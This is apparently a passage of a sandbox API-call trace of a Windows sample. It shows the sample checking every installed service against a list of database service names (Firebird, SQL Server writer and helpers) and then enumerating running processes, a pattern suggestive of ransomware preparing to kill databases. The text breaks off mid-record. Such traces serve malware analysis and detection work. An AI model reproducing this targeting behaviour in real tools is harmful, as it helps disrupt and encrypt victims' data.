[0211.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0211.350] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0211.350] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0211.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0211.350] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0211.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0211.350] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0211.350] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0211.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0211.350] lstrlenW (lpString="Audiosrv") returned 8 [0211.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0211.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0211.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0211.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0211.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0211.350] lstrlenW (lpString="BFE") returned 3 [0211.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0211.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0211.350] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0211.350] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0211.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0211.350] lstrlenW (lpString="BITS") returned 4 [0211.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0211.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0211.351] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0211.351] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0211.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0211.351] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0211.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0211.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0211.351] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0211.351] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0211.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0211.351] lstrlenW (lpString="CDPSvc") returned 6 [0211.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0211.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0211.351] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0211.351] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0211.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0211.351] lstrlenW (lpString="ClickToRunSvc") returned 13 [0211.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0211.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0211.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0211.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0211.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0211.351] lstrlenW (lpString="ClipSVC") returned 7 [0211.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0211.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0211.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0211.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0211.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0211.351] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0211.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0211.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0211.351] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0211.351] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0211.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0211.352] lstrlenW (lpString="CryptSvc") returned 8 [0211.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0211.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0211.352] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0211.352] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0211.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0211.352] lstrlenW (lpString="DcomLaunch") returned 10 [0211.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0211.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0211.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0211.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0211.352] lstrlenW (lpString="Dhcp") returned 4 [0211.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0211.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0211.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0211.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0211.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0211.352] lstrlenW (lpString="Dnscache") returned 8 [0211.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0211.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0211.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0211.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0211.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0211.352] lstrlenW (lpString="DoSvc") returned 5 [0211.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0211.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0211.352] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0211.352] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0211.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0211.352] lstrlenW (lpString="DPS") returned 3 [0211.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0211.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0211.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0211.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0211.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0211.353] lstrlenW (lpString="DusmSvc") returned 7 [0211.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0211.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0211.353] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0211.353] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0211.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0211.353] lstrlenW (lpString="EventLog") returned 8 [0211.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0211.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0211.353] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0211.353] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0211.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0211.353] lstrlenW (lpString="EventSystem") returned 11 [0211.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0211.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0211.353] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0211.353] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0211.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0211.353] lstrlenW (lpString="FontCache") returned 9 [0211.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0211.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0211.353] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0211.353] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0211.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0211.353] lstrlenW (lpString="gpsvc") returned 5 [0211.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0211.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0211.354] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0211.354] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0211.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0211.354] lstrlenW (lpString="iphlpsvc") returned 8 [0211.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0211.354] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0211.354] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0211.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0211.354] lstrlenW (lpString="KeyIso") returned 6 [0211.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0211.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0211.354] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0211.354] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0211.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0211.354] lstrlenW (lpString="LanmanServer") returned 12 [0211.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0211.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0211.354] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0211.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0211.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0211.354] lstrlenW (lpString="LanmanWorkstation") returned 17 [0211.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0211.354] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0211.354] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0211.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0211.354] lstrlenW (lpString="lfsvc") returned 5 [0211.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0211.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0211.354] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0211.355] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0211.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0211.355] lstrlenW (lpString="LicenseManager") returned 14 [0211.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0211.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0211.355] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0211.355] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0211.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0211.355] lstrlenW (lpString="lmhosts") returned 7 [0211.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0211.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0211.355] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0211.355] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0211.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0211.355] lstrlenW (lpString="LSM") returned 3 [0211.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0211.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0211.355] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0211.355] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0211.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0211.355] lstrlenW (lpString="MpsSvc") returned 6 [0211.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0211.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0211.355] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0211.355] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0211.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0211.355] lstrlenW (lpString="NcbService") returned 10 [0211.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0211.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0211.356] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0211.356] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0211.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0211.356] lstrlenW (lpString="netprofm") returned 8 [0211.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0211.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0211.356] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0211.356] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0211.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0211.356] lstrlenW (lpString="NlaSvc") returned 6 [0211.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0211.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0211.356] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0211.356] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0211.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0211.356] lstrlenW (lpString="nsi") returned 3 [0211.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0211.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0211.356] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0211.356] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0211.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0211.356] lstrlenW (lpString="PcaSvc") returned 6 [0211.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0211.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0211.356] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0211.357] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0211.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0211.357] lstrlenW (lpString="PlugPlay") returned 8 [0211.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0211.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0211.357] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0211.357] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0211.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0211.357] lstrlenW (lpString="Power") returned 5 [0211.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0211.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0211.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0211.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0211.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0211.357] lstrlenW (lpString="ProfSvc") returned 7 [0211.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0211.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0211.357] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0211.357] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0211.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0211.357] lstrlenW (lpString="RpcEptMapper") returned 12 [0211.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0211.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0211.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0211.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0211.358] lstrlenW (lpString="RpcSs") returned 5 [0211.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0211.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0211.358] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0211.358] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0211.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0211.358] lstrlenW (lpString="SamSs") returned 5 [0211.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0211.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0211.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0211.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0211.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0211.358] lstrlenW (lpString="Schedule") returned 8 [0211.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0211.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0211.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0211.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0211.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0211.358] lstrlenW (lpString="SecurityHealthService") returned 21 [0211.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0211.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0211.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0211.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0211.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0211.358] lstrlenW (lpString="SENS") returned 4 [0211.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0211.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0211.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0211.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0211.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0211.359] lstrlenW (lpString="ShellHWDetection") returned 16 [0211.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0211.359] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0211.359] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0211.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0211.359] lstrlenW (lpString="Spooler") returned 7 [0211.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0211.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0211.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0211.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0211.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0211.359] lstrlenW (lpString="SSDPSRV") returned 7 [0211.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0211.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0211.359] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0211.359] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0211.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0211.359] lstrlenW (lpString="StateRepository") returned 15 [0211.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0211.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0211.359] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0211.360] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0211.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0211.360] lstrlenW (lpString="SysMain") returned 7 [0211.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0211.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0211.360] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0211.360] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0211.360] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0211.360] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x368 [0211.366] Process32FirstW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0211.367] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0211.368] lstrlenW (lpString="System") returned 6 [0211.368] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0211.369] lstrlenW (lpString="smss.exe") returned 8 [0211.369] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.370] lstrlenW (lpString="csrss.exe") returned 9 [0211.370] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0211.371] lstrlenW (lpString="wininit.exe") returned 11 [0211.371] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0211.372] lstrlenW (lpString="csrss.exe") returned 9 [0211.372] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0211.373] lstrlenW (lpString="winlogon.exe") returned 12 [0211.373] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0211.374] lstrlenW (lpString="services.exe") returned 12 [0211.374] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0211.375] lstrlenW (lpString="lsass.exe") returned 9 [0211.375] Process32NextW (in: hSnapshot=0x368, lppe=0x25dfd2c | out: 